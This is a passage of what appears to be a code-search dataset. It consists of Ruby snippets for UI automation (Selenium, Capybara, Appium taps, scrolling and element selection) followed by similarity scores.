@confirm_sell_window.show()\n @sell_window.active=false\n end\n end\n end", "def toggle_multiple_selection\n toggle_value :multiple_selection\nend", "def select(*args)\n @results = nil\n except(:select)\n @builder = builder.select(*args)\n self\n end", "def selected_options\n @options.find_all { |o| o.selected? }\n end", "def selected_options\n options.select { |e| e.selected? }\n end", "def update_selection\n @selected_keys = []\n @selected_size = 0\n @pending_notifications.each_pair.with_index do |(key, value), idx|\n if @check_buttons[idx].checked?\n @selected_keys << key\n @selected_size += value.size\n end\n end\n redraw_notify_area\n end", "def render_input_select_set_elements(form, method, set, selected_elements_div_id = nil, options = {})\n set.is_a?(Array) or fail \"#{set} should be an array.\"\n render :partial => \"shared/input/select_set_elements\", :locals => {:form => form, :method => method, :set => set.uniq,\n :selected_elements_div_id => selected_elements_div_id,\n :options => options}\n end", "def click_selector_and_wait(id_to_click,selector_value,id_to_change,value)\n element_to_change = driver.find_element(:id => id_to_change)\n current_value = element_to_change.attribute(value.to_sym)\n\n option = Selenium::WebDriver::Support::Select.new(driver.find_element(:id => id_to_click))\n option.select_by(:text, selector_value)\n \n @wait.until { element_to_change.attribute(value.to_sym) != current_value }\n end", "def run_on_changes(paths)\n spec_filters = paths.collect {|path| spec_description(path) }.uniq\n spec_filters = [nil] if spec_filters.include?(nil)\n spec_filters.each do |spec_filter|\n run spec_filter\n end\n end", "def select_items\n text = input\n case text\n\n when \"Plate.where(color:\\\"white\\\")\", \"Plate.where()\",\n \"Plate.where(:id=>1)\",\"Plate.where(:id=>1)[0]\",\n \"Plate.where({color:\\\"white\\\"})\", \"Plate.where({:id=>1})\", \"Plate.all\"\n\n res = true\n selections.each do |s|\n s.update(selected: true)\n end\n p \"he\"\n\n when \"Plate.where(id:1).first\", \"Plate.where(id:1)[0]\",\n \"Plate.where(:id=>1).first\",\"Plate.where(:id=>1)[0]\",\n \"Plate.where({:id=>1})[0]\", \"Plate.where({:id=>1}).first\",\n \"Plate.find_by(id:1)\", \"Plate.find_by(:id=>1)\", \"Plate.find(1)\"\n\n res = true\n selections.first.update(selected: true)\n when \"Plate.where(id:2).first\", \"Plate.where(id:2)[0]\",\n \"Plate.where(:id=>2).first\",\"Plate.where(:id=>2)[0]\",\n \"Plate.where({:id=>2})[0]\", \"Plate.where({:id=>2}).first\",\n \"Plate.find_by(id:2)\", \"Plate.find_by(:id=>2)\", \"Plate.find(2)\"\n\n res = true\n selections.second.update(selected: true)\n\n when \"Plate.where({:id=>2})\", \"Plate.where(id:2)\", \"Plate.where({:id=>2})\",\n \"Plate.where(id:2)\", \"Plate.where(:id=>2)\"\n\n collection_returned = true\n res = false\n else\n res = false\n end\n\n end", "def select(*a)\n page.select selector_for(*a)\n end", "def select_intended\n select intended\n end", "def select_intended\n select intended\n end", "def validate_event_complete(_options = {})\n # 0: user has never saved this thus when baptized_at_home_parish will not show yes or no as selected\n # 1: user has saved a selection for baptized_at_home_parish\n # if baptized_at_home_parish == true then done\n # if baptized_at_home_parish == false then baptized_catholic will not show yes or no as selected\n # 2: User has chosen baptized_catholic(true or false)\n case show_empty_radio\n when 0\n errors.add(:base, I18n.t('messages.error.baptized_should_be_checked', home_parish: Visitor.home_parish))\n false\n when 1\n basic_valid = validate_basic_info\n church_info = validate_other_church_info\n return basic_valid && church_info if baptized_at_home_parish\n\n errors.add(:base, I18n.t('messages.error.baptized_catholic_should_be_checked'))\n\n false\n when 2\n basic_valid = validate_basic_info\n church_info = validate_other_church_info\n\n if baptized_catholic\n church_info && basic_valid\n else\n validate_profession_of_faith && church_info && basic_valid\n end\n else\n raise(I18n.t('messages.error.unknown_show_empty_radio', show_empty_radio: show_empty_radio))\n end\n end", "def selected_fields\n return @selected_fields unless @selected_fields.nil?\n\n fields = [*options[:select]].map { |f| f.split(',') }.flatten\n fields.concat(required_fields) if @fasta && !fields.empty?\n @selected_fields = fields.map { |f| glob_to_regex(f) }\n end", "def weekday_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def autoselect_all_possible_entries!\n if employee_entries.present?\n raise 'This PayrollPeriod already has employee_entries! Can’t autoselect_entries!'\n end\n \n entries = Ticket::EmployeeEntry.where(payroll_period_id: nil)\n\n tickets = Set.new\n entries.each do |entry|\n if entry.ticket.admin_approved?\n tickets << entry.ticket\n end\n end\n \n earliest_date = nil\n latest_date = nil\n\n tickets.each do |ticket|\n ticket.employee_entries.each do |employee_entry|\n if employee_entry.payroll_period\n raise 'autoselect_all_possible_entries! is working on a ticket that already has a payroll period. More nuanced control is required here.'\n end\n \n if (not earliest_date) or (earliest_date > employee_entry.time)\n earliest_date = employee_entry.time\n end\n if (not latest_date) or (latest_date < employee_entry.time)\n latest_date = employee_entry.time\n end\n \n employee_entry.payroll_period = self\n if not employee_entry.save\n raise employee_entry.errors.inspect\n end\n end\n end\n \n self.start_date = earliest_date\n self.end_date = latest_date\n self.save\n \n calculate!\n end", "def select_all\n self.frame(:id=>\"elm1_ifr\").send_keys( [:command, 'a'] )\n end", "def fill_select_option\n @search_by_values = QcLaboratory.get_search_values\n end", "def check_for_selected\n if changes[:selected] && self.selected == true\n BetaMailer.send_beta_acceptance_email(self).deliver_later\n end\n end", "def user_select(items)\n h.choose do |menu|\n menu.index = :number\n menu.prompt = 'Please Choose One:'\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command|\n ui.msg \"Using: #{command}\"\n selected = command.to_s\n end\n end\n menu.choice :all do return :all end\n menu.choice :exit do exit 1 end\n end\n end", "def accept_args(args)\n while /^-+(.+)/ === args[0]\n option = args.shift\n option_method_name = \"option_#{$1}\"\n unless respond_to?(option_method_name)\n raise UsageException, \"Unrecognised option: #{option}\"\n end\n option_method = method(option_method_name)\n parameters = []\n option_method.arity.times { parameters << args.shift }\n option_method.call(*parameters)\n end\n @targets = args\n self\n end", "def do_select_all\n return nil unless @data.size > 0\n select_range(0..@data.size-1)\n refresh\n end", "def set_sel(first, last)\n send_message(:SETSEL, first, last)\n end", "def validate!\n # Require that at least one field exist.\n if fields.length == 0\n raise SkyDB::Query::ValidationError.new(\"At least one selection field is required for #{self.inspect}.\")\n end\n\n fields.each do |field|\n field.validate!\n end\n\n groups.each do |group|\n group.validate!\n end\n end", "def run_all\n #run_on_changes(Watcher.match_files(self, Dir.glob(\"**/*.*\")))\n @builder.notify(true)\n end", "def select(*components)\n components.collect do |c|\n if component.include?(c)\n self.__send__(c)\n else\n raise ArgumentError,\n \"expected of components of #{self.class} (#{self.class.component.join(', ')})\"\n end\n end\n end", "def run\n handlers.each do |info, handler|\n matches = matches_options?(info[:type], info[:regexp])\n break if matches && handler.call(options)\n end\n end", "def select!(*fields)\n @options[:select] ||= fields.join ','\n self\n end", "def query_selector_all(selector)\n document.query_selector_all selector\n end", "def build_options_and_select(type, selected, options = {})\n build_select(type, build_options(selected, options))\n end", "def kgio_accept(*several_variants)\n #This is a stub, used for indexing\n end", "def fire_events!(*events); end", "def run_on_changes(paths)\n if options[:all_on_change]\n paths = Watcher.match_files(self, Dir.glob('**{,/*/**}/*').uniq.compact)\n end\n paths = paths.select {|path| not options[:exclude] =~ path and File.file? path}\n\n directories = detect_nested_directories(watchers, paths, options)\n written = []\n\n directories.each do |directory, files|\n files.each do |file|\n begin\n act_on(directory, file)\n written << file\n rescue Exception => e\n error(e.message, file)\n throw :task_has_failed\n end\n end\n end\n if written.length > 0\n notify(written)\n end\n end", "def check_approximate_field(selectors)\n timeout = DEFAULT_TIMEOUT\n selectors.each do |selector|\n begin\n return check(:xpath, selector, {:timeout => timeout})\n rescue Selenium::WebDriver::Error::NoSuchElementError, Selenium::WebDriver::Error::TimeOutError\n timeout = 0.5\n # Try the next selector\n end\n end\n\n @log.error \"Failed to check approximate field. Selectors are:\\n#{selectors.join(\"\\n\") }\"\n raise Selenium::WebDriver::Error::NoSuchElementError\n end" ]
[ "0.5454878", "0.5300787", "0.51445776", "0.5014472", "0.5013415", "0.5001129", "0.49698278", "0.4951824", "0.49396232", "0.4923508", "0.48932633", "0.48751628", "0.48133263", "0.48100272", "0.48018053", "0.47727582", "0.4759156", "0.47244158", "0.47163448", "0.46808603", "0.46709102", "0.4663484", "0.46540874", "0.46503195", "0.464166", "0.46394706", "0.46356302", "0.46338215", "0.46292707", "0.46291056", "0.46291056", "0.46147242", "0.46147242", "0.45955378", "0.4589947", "0.45847145", "0.4578747", "0.45516542", "0.45439503", "0.45374525", "0.45303485", "0.45267466", "0.45214283", "0.45211384", "0.45194498", "0.4518393", "0.4505361", "0.44729733", "0.44650337", "0.446477", "0.44630834", "0.44541803", "0.4451117", "0.4448185", "0.44438303", "0.44338492", "0.44156453", "0.44132322", "0.44098023", "0.44005665", "0.43984762", "0.43857783", "0.43842945", "0.43839124", "0.4370857", "0.43706197", "0.43667766", "0.43613228", "0.43557638", "0.4352272", "0.4348957", "0.43462402", "0.43438154", "0.4340069", "0.43341857", "0.4332901", "0.43256763", "0.43256763", "0.4321735", "0.43203995", "0.43032485", "0.43020117", "0.42902395", "0.42882714", "0.4286956", "0.4284996", "0.42845342", "0.42814425", "0.42778406", "0.42728716", "0.4272132", "0.42651728", "0.4254503", "0.42544112", "0.42536896", "0.42507008", "0.4250319", "0.42479372", "0.42454568", "0.4243592" ]
0.46249765
31
This method fetches an element with selector, scrolls it into view if needed, and then uses page.touchscreen to tap in the center of the element. If there's no element matching selector, the method throws an error.
def touchscreen_tap(selector) handle = query_selector selector raise "No node found for selector: #{selector}" if handle.nil? handle.tap handle.dispose nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scroll_and_touch(element, options = {})\n scroll_until_i_see(element, options)\n touch(element)\n end", "def scroll_into_view(selector)\n el = find(selector)\n # only do this if the native element is a selenium element\n el.native.send_keys(:null) if el.native.class.to_s.split(\"::\").first == \"Selenium\"\nend", "def scroll_to(element, device: T.unsafe(nil)); end", "def scroll_to(element, x = 0, y = 0, device: nil)\n scroll(x, y, origin: ScrollOrigin.element(element, 0, 0), device: device)\n end", "def scroll_to(element, device: nil)\n scroll(origin: element, device: device)\n end", "def scroll_into_view(element)\n script = <<-JS\n arguments[0].scrollIntoView(true);\n JS\n\n page.execute_script(script, element.native)\nend", "def scroll_to_element(access_type, access_name)\n ele_scroll = $driver.find_element(:\"#{access_type}\" => \"#{access_name}\")\n ele_scroll.location_once_scrolled_into_view\nend", "def tap_element element\n tapAction = Appium::TouchAction.new\n tapAction.tap(element: element).perform\n puts \"TAP is Working \\\\o/\"\n end", "def scroll_into_view\n @subject.location_once_scrolled_into_view\n\n element_location = location\n scroll_position = @driver.scroll_position\n\n middle_y_bounds = scroll_position[:y] + @driver.inner_window_height / 2\n\n if middle_y_bounds > element_location.y\n # Add\n y_difference = middle_y_bounds - element_location.y\n scroll_y_position = scroll_position[:y] - y_difference\n else\n # Subtract\n y_difference = element_location.y - middle_y_bounds\n scroll_y_position = scroll_position[:y] + y_difference\n end\n\n # Get the element to halfway\n scroll_x_position = element_location.x.to_f\n\n javascript_string = \"return window.scroll(#{scroll_x_position}, #{scroll_y_position});\"\n @driver.execute_script(javascript_string)\n end", "def scroll_to(element)\n @driver.execute_script(\"arguments[0].scrollIntoView();\", element)\nend", "def click_dropdown(element_data_set, data_set)\n if ENV['PLATFORM_NAME'] =='android'\n dropdown = \"xpath://android.widget.ScrollView[1]\"\n required_xpath = \"xpath://*[@text='#{data_set}']\"\n elsif ENV['PLATFORM_NAME'] =='ios'\n dropdown = \"xpath://XCUIElementTypeWindow[1]/XCUIElementTypeOther[2]//XCUIElementTypeScrollView[1]\"\n required_xpath = \"predicate:label contains[c] '#{data_set}'\"\n end\n\n begin @driver.hide_keyboard\n rescue => e\n end\n \n sleep(3)\n $home_page.user_click(element_data_set)\n Timeout::timeout(DEFAULT_TIMEOUT) {swipe_up_element_until(required_xpath, dropdown)}\n sleep(3)\n $home_page.user_click(required_xpath)\nend", "def scroll_to_element(access_type,access_name)\n ele_scroll = WAIT.until {$driver.find_element(:\"#{access_type}\" => \"#{access_name}\")}\n ele_scroll.location_once_scrolled_into_view\nend", "def select!\n raise \"Locator at #{locator} is not visible\" unless visible?\n begin\n wd_element.click\n rescue\n raise \"Locator at #{locator} can not be interacted with\" unless visible?\n end\n check_errors\n end", "def tap_element(xpath)\r\n\r\n #get 'mobile element' form xpath\r\n mobile_element = get_mobile_element xpath\r\n\r\n if mobile_element.nil? or mobile_element.to_s.empty?\r\n raise \"Element Not Found. XPATH => ''#{xpath}''\"\r\n end\r\n\r\n begin\r\n\r\n found_bounds = get_bounds_from_element(mobile_element) do |x1, y1, x2, y2|\r\n xm = (x1 + x2) >> 1\r\n ym = (y1 + y2) >> 1\r\n adb_exec(\"shell input tap #{xm} #{ym}\")\r\n #puts \"ADB => shell input tap #{xm} #{ym}\"\r\n end\r\n\r\n result = !found_bounds.nil?\r\n\r\n return result\r\n\r\n rescue Exception => e\r\n raise \"tap_element => EXCEPTION => #{e.message}\"\r\n\r\n end\r\n\r\nend", "def scroll_to text\n args = 'scroll',\n # textContains(text)\n [ [3, text] ],\n # descriptionContains(text)\n [ [7, text] ]\n\n mobile :find, args\n end", "def select!\n raise \"Locator at #{location} is not visible\" unless visible?\n begin\n el.click\n rescue\n raise \"Locator at #{location} can not be interacted with\" unless visible?\n end\n check_errors\n end", "def scroll_to_css(css_selector)\n script = \"document.querySelector('#{css_selector}').scrollIntoView(true);\"\n Capybara.current_session.evaluate_script(script)\n end", "def click(selector)\n if selector.is_a? String\n find(selector).click\n else\n selector.click\n end\n end", "def scroll_to(top, left)\n tap { @page.execute(\"window.scrollTo(#{top}, #{left})\") }\n end", "def scroll_to element\n element.ancestor(:scroll_area).scroll_to element\n end", "def scroll_to_exact text\n args = 'scroll',\n # text(text)\n [ [1, text] ],\n # description(text)\n [ [5, text] ]\n\n mobile :find, args\n end", "def click_on_class_or_css(selector)\n\n find(selector).click\n\n end", "def scroll_to_elem(by, value)\n elem = get_element(by, value)\n elem.location_once_scrolled_into_view\n sleep 0.3\n end", "def element(selector)\n\t\tHpricot(@response.body).at(selector)\n\tend", "def scroll_to_down(drag_to = nil)\r\n\r\n #get 'mobile element' form xpath\r\n xpath = \"(//node[./node/node])[last()]\"\r\n drag = drag_to.nil? ? 100 : drag_to.to_s.to_i\r\n\r\n mobile_element = get_mobile_element xpath\r\n\r\n if mobile_element.nil? or mobile_element.to_s.empty?\r\n raise \"Element Not Found. XPATH => ''#{xpath}''\"\r\n end\r\n\r\n begin\r\n\r\n found_bounds = get_bounds_from_element(mobile_element) do |x1, y1, x2, y2|\r\n if (x1 + y1 + x2 + y2) == 0\r\n screen_size = get_screen_size\r\n xm = screen_size[:width] >> 1\r\n ym = screen_size[:height] >> 1\r\n yf = ym - drag\r\n else\r\n xm = (x1 + x2) >> 1\r\n ym = (y1 + y2) >> 1\r\n yf = y1 - drag\r\n end\r\n\r\n adb_exec(\"shell input swipe #{xm} #{ym} #{xm} #{yf}\")\r\n #puts(\"shell input swipe #{xm} #{ym} #{xm} #{yf}\")\r\n end\r\n\r\n result = !found_bounds.nil?\r\n\r\n return result\r\n\r\n rescue Exception => e\r\n raise \"scroll_to_down => EXCEPTION => #{e.message}\"\r\n\r\n end\r\n\r\nend", "def scroll_into_view(locator, align_to = true)\n execute_script(\n 'arguments[0].scrollIntoView(arguments[1]);',\n find_element(locator),\n align_to\n )\n end", "def click_on_a_button(selector)\n\n click_button(selector)\n\n end", "def scroll_element(element)\n execute_script('arguments[0].scrollIntoView(true);', element)\n highlight_element(element)\n end", "def select(elem, selector)\n case selector\n when :element then elem\n when :inner_text, :inner_html, :outer_html then elem.send(selector)\n when /^@./ then elem[selector[1..-1]]\n when /^\\$[0-9]+$/\n i = selector[1..-1].to_i\n scrape_data(elem, i..i)\n when /^\\$[0-9]+(\\.\\.\\.?[0-9]+)?$/\n m = /\\.\\.\\.?/.match(selector)\n first, last = m.pre_match[1..-1].to_i, m.post_match.to_i\n last -= 1 if m[0] == \"...\"\n scrape_data(elem, first..last)\n else raise \"invalid selector #{selector.inspect} given\"\n end\n end", "def move_to_element(element)\n driver.execute_script('arguments[0].scrollIntoView(true)', element)\n end", "def scroll_to_up(drag_to = nil)\r\n\r\n #get 'mobile element' form xpath\r\n xpath = \"(//node[./node/node])[1]\"\r\n drag = drag_to.nil? ? 100 : drag_to.to_s.to_i\r\n\r\n mobile_element = get_mobile_element xpath\r\n\r\n if mobile_element.nil? or mobile_element.to_s.empty?\r\n raise \"Element Not Found. XPATH => ''#{xpath}''\"\r\n end\r\n\r\n begin\r\n\r\n found_bounds = get_bounds_from_element(mobile_element) do |x1, y1, x2, y2|\r\n xm = (x1 + x2) >> 1\r\n ym = (y1 + y2) >> 1\r\n yf = ym + drag\r\n adb_exec(\"shell input swipe #{xm} #{ym} #{xm} #{yf}\")\r\n #puts(\"shell input swipe #{xm} #{ym} #{xm} #{yf}\")\r\n end\r\n\r\n result = !found_bounds.nil?\r\n\r\n return result\r\n\r\n rescue Exception => e\r\n raise \"scroll_to_down => EXCEPTION => #{e.message}\"\r\n\r\n end\r\n\r\nend", "def scroll_into_view\n node = Object.new(locator_to_node)\n node.click\n\n script = \"window.resizeTo(window.screen.width, window.screen.height); \" +\n \"window.resizeTo(window.screen.width, window.screen.height - 50);\"\n\n $browser.execute_script(script)\n $browser.wait_for_element_present(locator_to_type_icon)\n end", "def flash_scroll_and_ensure_click(dom_element)\n dom_element.wait_until(&:present?)\n dom_element.scroll.to\n dom_element.flash\n dom_element.click\nend", "def scroll_to(section)\n case section\n when :bottom\n @driver.execute_script('window.scrollBy(0,9999)')\n when :top\n @driver.execute_script('window.scrollBy(0,-9999)')\n else\n nil\n end\n sleep(1)\n end", "def scroll_by(x = 0, y = 0, device: nil)\n scroll(x, y, origin: ScrollOrigin.viewport(0, 0), device: device)\n end", "def scroll_by(delta_x, delta_y, device: T.unsafe(nil)); end", "def scroll_to(locator)\n script = 'arguments[0].scrollIntoView(true);'\n\n Capybara.current_session.driver.browser.execute_script(script, locator.native)\n end", "def element(selector)\n @doc.at(selector)\n end", "def scroll_until_i_see(button, direction = :up)\n #wait_poll(until_exists: \"* {text CONTAINS[c] '#{escape_quotes(text)}'}\", timeout: 10) do\n wait_poll(until_exists: \"webView css:'#mockImage'\", timeout: 10) do\n pan(\"* id:'viewpager'\", direction)\n end\n end", "def scroll_down_for_element_exists(xpath, intentos = nil, scroll_size = nil)\r\n\r\n result = false\r\n no_scrols = intentos.nil? ? 10 : intentos\r\n\r\n for i in 0..no_scrols\r\n\r\n if mobile_element_exists xpath\r\n result = true\r\n break\r\n end\r\n\r\n scroll_to_down scroll_size\r\n\r\n end\r\n\r\n return result\r\n\r\nend", "def select(*args, &block)\n browser.within(component_locator) do\n browser.select(*args, &block)\n end\n end", "def show_element_in_centre(element)\n driver.execute_script(\"arguments[0].scrollIntoView({block: 'center'});\", element)\n end", "def click_on_link(selector)\n\n click_link(selector)\n\n end", "def scroll_up_for_element_exists(xpath, intentos = nil, scroll_size = nil)\r\n\r\n result = false\r\n no_scrols = intentos.nil? ? 10 : intentos\r\n\r\n for i in 0..no_scrols\r\n\r\n if mobile_element_exists xpath\r\n result = true\r\n break\r\n end\r\n\r\n scroll_to_up scroll_size\r\n\r\n end\r\n\r\n return result\r\n\r\nend", "def custom_click(selector)\n selector.click\nrescue Capybara::Poltergeist::MouseEventFailed\n selector.trigger('click')\nend", "def click\r\n start_point = screen.find ident\r\n click_x = start_point.x + offset_x\r\n click_y = start_point.y + offset_y\r\n\r\n screen.click click_x, click_y\r\n end", "def show_sign_up_button\n page.execute_script \"document.getElementById('signup-submit').scrollIntoView(true);\"\n page.execute_script \"window.scrollBy(0,100);\"\nend", "def focus(selector)\n handle = query_selector selector\n \"No node found for selector: #{selector}\" if handle.nil?\n handle.focus\n handle.dispose\n nil\n end", "def query_selector(selector)\n document.query_selector selector\n end", "def click_on_a_text_button_link(selector)\n\n click_on(selector)\n\n end", "def find(selector)\n DOM::Element.from_node `#{@el}.querySelector(#{selector}) || Opal.nil`\n end", "def get_by(selector)\n\n end", "def scroll_menu_to element\n element.ancestor(:menu).scroll_to element\n end", "def scrollProfileIntoView(items, itemNumber)\n if itemNumber >= 1\n element = items[(itemNumber-1)].find_element(TITLEOFTHEFREELANCER)\n @utills.scrollElementIntoView(element)\n end # End of IF\n end", "def find(selector)\n value = `#{@el}.querySelector(#{selector}) || false`\n value ? DOM::Element.fromNode(value) : nil\n end", "def check_element(element_or_selector, options = {})\n selector = element_or_selector if Applitools::Selenium::Driver::FINDERS.keys.include? element_or_selector.first\n if !options[:tag].nil? && !options[:tag].empty?\n tag = options[:tag]\n self.tag_for_debug = tag\n end\n match_timeout = options[:match_timeout] || USE_DEFAULT_MATCH_TIMEOUT\n\n if disabled?\n logger.info \"check_element(#{options.inject([]) { |res, (k, v)| res << \"#{k}: #{v}\" }.join(', ')}):\" /\n ' Ignored'\n return\n end\n\n eyes_element = element_or_selector.first if element_or_selector.first.instance_of? Applitools::Selenium::Element\n eyes_element = driver.find_element(*selector) unless eyes_element\n raise Applitools::EyesIllegalArgument.new 'You should pass :selector or :element!' unless eyes_element\n eyes_element = Applitools::Selenium::Element.new(driver, eyes_element) unless\n eyes_element.is_a? Applitools::Selenium::Element\n\n location_as_point = eyes_element.location\n region_visibility_strategy.move_to_region position_provider,\n Applitools::Location.new(location_as_point.x.to_i, location_as_point.y.to_i)\n\n original_overflow = nil\n original_position_provider = position_provider\n\n begin\n self.check_frame_or_element = true\n self.position_provider = Applitools::Selenium::ElementPositionProvider.new driver, eyes_element\n original_overflow = eyes_element.overflow\n eyes_element.overflow = 'hidden'\n\n p = eyes_element.location\n d = eyes_element.size\n\n border_left_width = eyes_element.border_left_width\n border_top_width = eyes_element.border_top_width\n border_right_width = eyes_element.border_right_width\n border_bottom_width = eyes_element.border_bottom_width\n\n element_region = Applitools::Region.new(\n p.x + border_left_width,\n p.y + border_top_width,\n d.width - border_left_width - border_right_width,\n d.height - border_top_width - border_bottom_width\n )\n\n logger.info \"Element region: #{element_region}\"\n\n self.region_to_check = Object.new.tap do |prov|\n prov.instance_eval do\n define_singleton_method :region do\n element_region\n end\n\n define_singleton_method :coordinate_type do\n Applitools::EyesScreenshot::COORDINATE_TYPES[:context_relative]\n end\n end\n end\n\n base_check_region_provider = Object.new.tap do |prov|\n prov.instance_eval do\n define_singleton_method :region do\n Applitools::Region::EMPTY\n end\n\n define_singleton_method :coordinate_type do\n nil\n end\n end\n end\n\n self.eyes_screenshot_factory = lambda do |image|\n Applitools::Selenium::EyesWebDriverScreenshot.new(\n image, driver: driver, force_offset: position_provider.state\n )\n end\n\n match_data = Applitools::MatchWindowData.new.tap do |data|\n data.tag = tag\n data.ignore_mismatch = false\n data.match_level = default_match_settings[:match_level]\n end\n\n check_window_base(\n base_check_region_provider, match_timeout, match_data\n )\n ensure\n eyes_element.overflow = original_overflow unless original_overflow.nil?\n self.check_frame_or_element = false\n self.position_provider = original_position_provider\n self.region_to_check = nil\n\n region_visibility_strategy.return_to_original_position position_provider\n end\n end", "def click_at(locator, offset = {})\n x = offset.fetch(:x, 0)\n y = offset.fetch(:y, 0)\n\n element = find_element(locator)\n\n action\n .move_to(element, x, y)\n .click\n .perform\n end", "def user_click_until(element1, element2)\r\n begin\r\n key_processor(element1)\r\n locator1 = @locator\r\n selector1 = @selector\r\n\r\n key_processor(element2)\r\n locator2 = @locator\r\n selector2 = @selector\r\n\r\n ****_click_until(selector1, locator1, selector2, locator2)\r\n rescue Exception => e\r\n raise e.message\r\n raise e.backtrace.inspect\r\n end\r\n end", "def press element\n element.perform :press\n end", "def click_button(id)\n case @browser\n when :iPad\n @driver.execute_script \"$('##{id} button').click();\"\n else\n $test.driver.find_element(:css, \"##{id} button\").click\n end\n end", "def show_update_account_button\n page.execute_script \"document.getElementById('edit-profile-submit').scrollIntoView(true);\"\n page.execute_script \"window.scrollBy(0,-100);\"\nend", "def click_icon_link(selector)\n find(:css, selector).click\n end", "def hover_click(element)\n driver.action.click(element).perform\n end", "def find_deep_element(selector_text)\n if ENV['browserName'] == 'chrome'\n @browser.execute_script('return document.querySelector(\"body /deep/ %s\")' % selector_text)\n else\n @browser.find_element(css: selector_text)\n end\nend", "def div_by_text_click(div_text)\n div_by_text(div_text).click\nend", "def select(*a)\n page.select selector_for(*a)\n end", "def test_capybara_can_find_element\n on_visiting_browserkoans_test_page do\n assert_equal __(true), page.has_selector?('#mypara')\n assert_nothing_raised do\n expect(page).to have_selector(__('#mypara'))\n end\n end\n end", "def scroll_to_exact(text)\n err = nil\n w_s = window_rect\n\n (1..30).each do |_count|\n action\n .move_to_location(w_s.width / 2, (w_s.height * 2) / 5) # pointer based magic number\n .pointer_down(:left)\n .move_to_location(0, w_s.height / 5)\n .release\n .perform\n sleep 1 # we must wait finish scrolling\n\n return text_exact(text)\n rescue StandardError => e\n err = e\n end\n\n raise err\n end", "def simulate_hover(element)\n page.execute_script(\"$('#{element}').show()\")\n wait_a_sec_for_selenium\n end", "def scrape(element, selector = :xpath)\n raise ArgumentError, \"Source was nil, cannot scrape.\" if @source.nil?\n\n # Set the Capybara selector to :css if it's been passed.\n Capybara.default_selector = selector if selector != :xpath\n\n # If the source is an HTML fragment in the form of a Capybara::Node::Simple\n # instance, use the exposed method within the instance, otherwise use\n # the global Capybara method.\n if @source.is_a? Capybara::Node::Simple\n scraped_element = @source.find(element)\n else\n scraped_element = find(:content, element)\n end\n\n\n case scraped_element.tag_name.to_sym\n when :body\n # scraping the body tag so just return all the inner html?\n puts page.document.inspect\n end\n\n # Reset the selector back to the default.\n Capybara.default_selector = :xpath if selector != :xpath\n end", "def click_element (element, internally = false)\n element = element.downcase.gsub(' ', '_')\n wait_until{send(\"#{element}?\")}\n\n select = send(\"#{element}_element\")\n\n if internally\n script = <<-JS\n arguments[0].click();\n JS\n self.execute_script(script, select)\n else\n wait_until{select.visible?}\n select.click\n end\n end", "def capybara_element(*args, wait: 0, **options)\n context.send(\"#{name}_element\", *args, **options.merge(match: :first, wait: wait))\n rescue Capybara::ElementNotFound\n nil\n end", "def double_click(locator, offset = {})\n x = offset.fetch(:x, 0)\n y = offset.fetch(:y, 0)\n\n element = find_element(locator)\n\n action\n .move_to(element, x, y)\n .double_click\n .perform\n end", "def find_page_element(*args)\n element = page.find(*args)\nend", "def mouse_over_element(element)\r\n @driver.action.move_to(element).perform\r\nend", "def get_canvas_focus\n find(:css, '#umpleCanvas').click\n end", "def scroll_by(delta_x, delta_y, device: nil)\n scroll(delta_x: delta_x, delta_y: delta_y, device: device)\n end", "def click_on_link(text, scroll_to=false)\n if has_css?(\"a\", text: text, match: :prefer_exact, wait: 1)\n link_type = \"a\"\n elsif has_css?(\"span\", text: text, match: :prefer_exact, wait: 1)\n link_type = \"span\"\n elsif has_css?(\"label\", text: text, match: :prefer_exact, wait: 1)\n link_type = \"label\"\n else\n raise Capybara::ElementNotFound.new(\"Can't find link with '#{text}' text\")\n end\n\n if scroll_to\n js_scroll_script = \"arguments[0].scrollIntoView(true);\"\n Capybara.page.execute_script(js_scroll_script, find(link_type, text: text, match: :prefer_exact))\n sleep 0.5\n end\n\n find(link_type, text: text, match: :prefer_exact).click\n end", "def click_and_hold(element = T.unsafe(nil), button: T.unsafe(nil), device: T.unsafe(nil)); end", "def click_element(opt = {})\n search_element(opt) if opt != {}\n # click @element_id\n url=@session_url + \"/element/#{@element_id}/click\"\n click=post(url,'')\n return click\n end", "def clicks_link_within(selector, link_text)\n link = find_link(link_text, selector)\n link.click\n end", "def scroll_left (x1,x2,y1,y2)\r\n #driver.swipe(start_x: 1000, end_x: 100, start_y: y, end_y: y, duration: 1000)\r\n #driver.swipe(start_x: x1, end_x: x2, start_y: y1, end_y: y2, duration: 1000)\r\n scroll_in_any_direction(x1,x2,y1,y2)\r\n end", "def scroll x, y\n `window.scrollTo(x, y)`\n end", "def Seval(selector, page_function, *args)\n element_handle = S(selector)\n unless element_handle\n raise ElementNotFoundError.new(selector)\n end\n result = element_handle.evaluate(page_function, *args)\n element_handle.dispose\n\n result\n end", "def at_xpath(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n within ||= document\n let xpath = document.evaluate(selector, within, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n return xpath.snapshotItem(0);\n }\n JS\n evaluate_func(expr, selector, within)\n end", "def at(path_or_selector)\n xpath(path_or_selector).first || css(path_or_selector).first\n end", "def hover_over_element(access_type,access_name)\n element = WAIT.until {$driver.find_element(:\"#{access_type}\" => \"#{access_name}\")}\n $driver.action.move_to(element).perform\nend", "def select_with_click\n if mac_internal?\n press_menu\n else\n click\n end\n selected?\n end", "def click_on(locator)\n Logbook.message(\"Click on the element with locator #{locator}\")\n find(locator).click\n end", "def js_click(css_locator)\n page.execute_script(\"$('#{css_locator}').trigger('click')\")\n sleep settings.timeout_tiny\n end", "def hover_element (element)\n element = element.downcase.gsub(' ', '_')\n wait_until{send(\"#{element}?\")}\n\n select = send(\"#{element}_element\")\n wait_until{select.visible?}\n\n select.hover\n end", "def click(xpath, options = {})\n rc = nil\n Log.Debug(:h4, \"[CLICK]\") {\n _check_repl_lock\n _compile_click xpath\n rc = exec\n Log.Debug \"do_click rc: #{rc.safe_s}\"\n unless rc == CLICKED\n # unable to click on element => total failure\n rc = false\n else\n # give the browser some time to get the navigation going\n sleep 0.5\n\n # we clicked!\n unless wait_page_load\n # page didn't seem to load properly\n rc = :clicked\n else\n # finding the element, clicking on it and waiting for the\n # page to load succeeded. if caller wants us to wait for\n # particular conditions, we'll do it, but the caller has to\n # figure out if those conditions were ultimately satisfied.\n rc = true\n get_url options if options[:wait_for]\n end\n end\n }\n Log.Debug \"{click} :=> 